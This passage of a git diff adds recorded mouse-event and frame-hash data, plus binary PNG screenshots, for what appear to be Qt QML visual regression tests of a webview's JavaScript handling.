+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 154; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 158; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6016
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 162; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6032
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 166; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 168; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 172; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6048
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 174; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 176; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6064
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 177; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6080
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 178; y: 16
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 178; y: 14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6096
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 178; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6112
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 178; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6128
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 178; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6144
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 179; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6160
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 180; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6176
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 181; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 181; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6192
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 182; y: 2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 183; y: 1
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6208
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6224
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6240
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6256
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6272
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6288
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6304
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6320
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6336
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6352
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6368
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6384
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6400
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6416
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6432
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6448
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6464
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6480
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6496
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6512
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6528
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6544
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6560
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6576
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6592
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6608
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6624
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6640
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6656
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6672
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6688
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6704
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6720
+ image: "evaluateJavaScript.6.png"
+ }
+ Frame {
+ msec: 6736
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6752
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6768
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6784
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6800
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6816
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6832
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6848
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6864
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 176; y: 1
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 174; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 172; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6880
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 166; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 162; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6896
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 156; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 150; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6912
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 144; y: 107
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 138; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6928
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 132; y: 127
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 126; y: 133
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6944
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 122; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 120; y: 138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6960
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 120; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6976
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 6992
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7008
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7024
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7040
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7056
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7072
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 119; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7088
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7104
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7120
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 117; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7136
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 116; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 115; y: 141
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7152
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 113; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 109; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7168
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 107; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 103; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7184
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 179
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 181
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7200
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 95; y: 189
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7216
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 95; y: 190
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7232
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7248
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7264
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7280
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 188
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7296
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 186
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7312
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 185
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 97; y: 184
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7328
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 97; y: 183
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 97; y: 182
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7344
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 180
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7360
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 178
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7376
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 177
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 176
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 174
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7392
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7408
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 100; y: 172
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 100; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7424
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 100; y: 170
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7440
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 100; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7456
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 101; y: 167
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7472
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7488
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7504
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 101; y: 167
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7520
+ hash: "04e2e16813a9cafc37077a675e279f5f"
+ }
+ Frame {
+ msec: 7536
+ hash: "04e2e16813a9cafc37077a675e279f5f"
+ }
+ Frame {
+ msec: 7552
+ hash: "04e2e16813a9cafc37077a675e279f5f"
+ }
+ Frame {
+ msec: 7568
+ hash: "04e2e16813a9cafc37077a675e279f5f"
+ }
+ Frame {
+ msec: 7584
+ hash: "04e2e16813a9cafc37077a675e279f5f"
+ }
+ Frame {
+ msec: 7600
+ hash: "04e2e16813a9cafc37077a675e279f5f"
+ }
+ Frame {
+ msec: 7616
+ hash: "04e2e16813a9cafc37077a675e279f5f"
+ }
+ Frame {
+ msec: 7632
+ hash: "04e2e16813a9cafc37077a675e279f5f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 166
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 101; y: 166
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7648
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7664
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7680
+ image: "evaluateJavaScript.7.png"
+ }
+ Frame {
+ msec: 7696
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7712
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7728
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7744
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7760
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7776
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7792
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7808
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7824
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 103; y: 166
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7840
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 7856
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 166
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7872
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 106; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 107; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7888
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 108; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 109; y: 163
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7904
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 111; y: 163
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 112; y: 162
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7920
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 116; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7936
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 118; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 122; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7952
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 128; y: 147
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 134; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7968
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 140; y: 133
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 146; y: 125
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 150; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7984
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 156; y: 109
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 160; y: 99
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8000
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 164; y: 89
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 166; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8016
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 170; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 172; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8032
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 176; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8048
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 178; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 178; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 180; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8064
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 180; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 182; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8080
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8096
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8112
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8128
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8144
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8160
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8176
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8192
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8208
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8224
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8240
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8256
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8272
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8288
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8304
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8320
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8336
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8352
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8368
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8384
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8400
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8416
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8432
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8448
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8464
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8480
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8496
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8512
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8528
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8544
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8560
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8576
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8592
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8608
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8624
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8640
+ image: "evaluateJavaScript.8.png"
+ }
+ Frame {
+ msec: 8656
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 8672
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.0.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.0.png
new file mode 100644
index 00000000..b5c35d21
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.1.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.1.png
new file mode 100644
index 00000000..b5c35d21
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.2.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.2.png
new file mode 100644
index 00000000..28403c88
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.2.png
Binary files differ
